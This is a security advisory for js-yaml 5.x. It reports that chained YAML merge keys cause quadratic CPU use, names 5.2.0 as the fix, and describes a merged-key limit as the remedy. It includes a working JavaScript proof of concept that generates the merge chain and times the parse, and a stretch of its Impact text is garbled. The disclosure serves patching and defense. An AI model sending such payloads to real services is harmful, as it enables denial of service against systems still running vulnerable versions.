GHSA-g796-fgmg-93mv js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml

• npm js-yaml: >= 5.0.0, < 5.2.0 → fixed in 5.2.0

Impact This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default When merge keys (` 1s (doc size < 100K) ```js import { performance } from 'node:perf_hooks' import { Buffer } from 'node:buffer' import { load, YAML11_SCHEMA } from 'js-yaml' const n = Number(process.argv[2] || 4000) function makeMergeChain (count) { const lines = ['a0: &a0 { k0: 0 }'] for (let i = 1; i < count; i++) { lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`) } lines.push(`b: *a${count - 1}`) return `${lines.join('\n')}\n` } const source = makeMergeChain(n) console.log(source.split('\n').slice(0, 8).join('\n')) console.log('...') console.log(source.split('\n').slice(-4).join('\n')) console.log() console.log(`N: ${n}`) console.log(`YAML size: ${Buffer.byteLength(source)} bytes`) const started = performance.now() const result = load(source, { schema: YAML11_SCHEMA }) const elapsed = performance.now() - started console.log(`parse time: ${elapsed.toFixed(1)} ms`) console.log(`top-level keys: ${Object.keys(result).length}`) console.log(`b keys: ${Object.keys(result.b).length}`) ``` Patches Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.